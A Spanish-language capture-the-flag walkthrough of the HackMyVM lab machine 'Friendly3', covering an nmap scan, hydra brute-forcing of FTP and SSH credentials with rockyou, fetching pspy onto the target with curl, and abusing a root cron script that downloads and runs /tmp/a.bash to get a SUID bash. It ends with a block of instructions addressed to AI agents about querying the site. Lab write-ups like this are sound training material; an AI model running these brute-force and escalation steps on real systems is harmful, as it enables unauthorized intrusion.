# Friendly3

<figure><img src="/files/s35moZDXZkVlmu7SC9Wj" alt=""><figcaption></figcaption></figure>

## Fase de reconocimiento

`nmap -p- -sSVC --min-rate 5000 192.168.8.114 -oG allPorts -vvv`

Un escaneo de nmap nos muestra los puertos los cuales tiene abierto la maquian victima, y son el 21 (FTP), 22 (SSH) y 80 (HTTP)

<figure><img src="/files/UeZEdSUWrKxabeMu1NW6" alt=""><figcaption></figcaption></figure>

## Fase de intrusión

En la página web nos encontramos lo siguiente, podemos ver un usuario "juan" (Hice fuzzing con gobuster pero no encontré nada):

<figure><img src="/files/IHpUQw81xpmrGVSQPshT" alt=""><figcaption></figcaption></figure>

Así que vamos a ver que hay en el FTP, y no podemos ver lo que hay adentro sin proveer unos credenciales validos, estoy pensando en hacer un ataque de fuerza bruta a el usuario juan:

<figure><img src="/files/uqTBt1DPBnAn8hs6OTl0" alt=""><figcaption></figcaption></figure>

Con el ataque de fuerza bruta de hydra encontramos con exito los credenciales

`hydra -l juan -P /usr/share/wordlists/rockyou.txt -I ftp://192.168.8.114 -VI -f`

<figure><img src="/files/qIYidEvVaYJa6b02VmFS" alt=""><figcaption></figcaption></figure>

Nos descargamos todos los archivos del ftp con wget

<figure><img src="/files/q854p7W9FVCsDhasT4lM" alt=""><figcaption></figcaption></figure>

Hacemos un ls -alR para ver que archivos contienen algo dentro de ellos revisando su interior con su tamaño, se puede hacer de está manera, o automatizándolo con un script en bash usando find:

```bash
#!/bin/bash

find . -type d,f -size +0c ! -size 4096c -not -name "script.sh" -print0 | while IFS= read -r -d '' elemento;do
    tamano=$(du -sb "$elemento" | cut -f1)
    echo "Elemento: $elemento - TamaC1o: $tamano bytes"
    cat "$elemento" 
done
```

Podemos encontrar lo siguiente dentro de los archivos:

<figure><img src="/files/vgEagqZyXZ7ebL7GLzuf" alt=""><figcaption></figcaption></figure>

Hacemos un ataque de fuerza bruta otra vez con hydra, para saber la contraseña del ssh, y es la misma que previamente habíamos obetenido haciendo fuerza bruta al ftp:

<figure><img src="/files/Xv1VIJ8UxIaoz5YOg4Ws" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios

La pista que nos dejo en el ftp (que por cierto también está dentro del usuario juan) parece ser mentira puesto que he decodificado el mensaje y era "mypassword.txt", archivo el cual no es existe en el sistema, me desplazo a root y encuentro dentro de /opt un archivo en bash el cual me interesa bastante, ya que dentro tiene lo siguiente:

<figure><img src="/files/yy7g7FYzH9eabanlEnfN" alt=""><figcaption></figcaption></figure>

Está haciendo un curl a un archivo de nuestra sistema (IP de loopback, pero como es http: pues lo busca en la web) y despues esta mandando ese mismo archivo a /tmp/a.bash, luego le da permisos de ejecutacion, escritura y lectura y lo abre con /bin/bash, para posteriormente eliminarlo.

Bien, aquí voy a importar pspy64 (Podeis encontrar el binario en github) y me lo voy a mandar abriendo un servidor python (python3 -m http.server) y despues desde la maquina victima haciendo un curl ip:puerto/pspy64 --output pspy. Una vez en la maquina victima, le damos permisos de ejecución (chmod +x pspy64) y lo ejecutamos:

<figure><img src="/files/prUwzouH36Ki4i2McwFg" alt=""><figcaption></figcaption></figure>

Podemos ver que se ejecuta cada minuto el archivo .sh que he enseñado previamente. Podríamos hacer un bucle para insertar automáticamente dentro de "a.bash".

<figure><img src="/files/PHXQ1i7H4NLD4YWVIbE8" alt=""><figcaption></figcaption></figure>

Esperamos a que se ejecute check\_for\_install.sh, y cuando lo haga los permisos de la bash cambiaran, y cualquier usuario los podrá ejecutarlo como un superuser:

<figure><img src="/files/FvQOlXrQWCgLHn1Roscc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://burple.gitbook.io/burple/hackmyvm/facil/friendly3.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
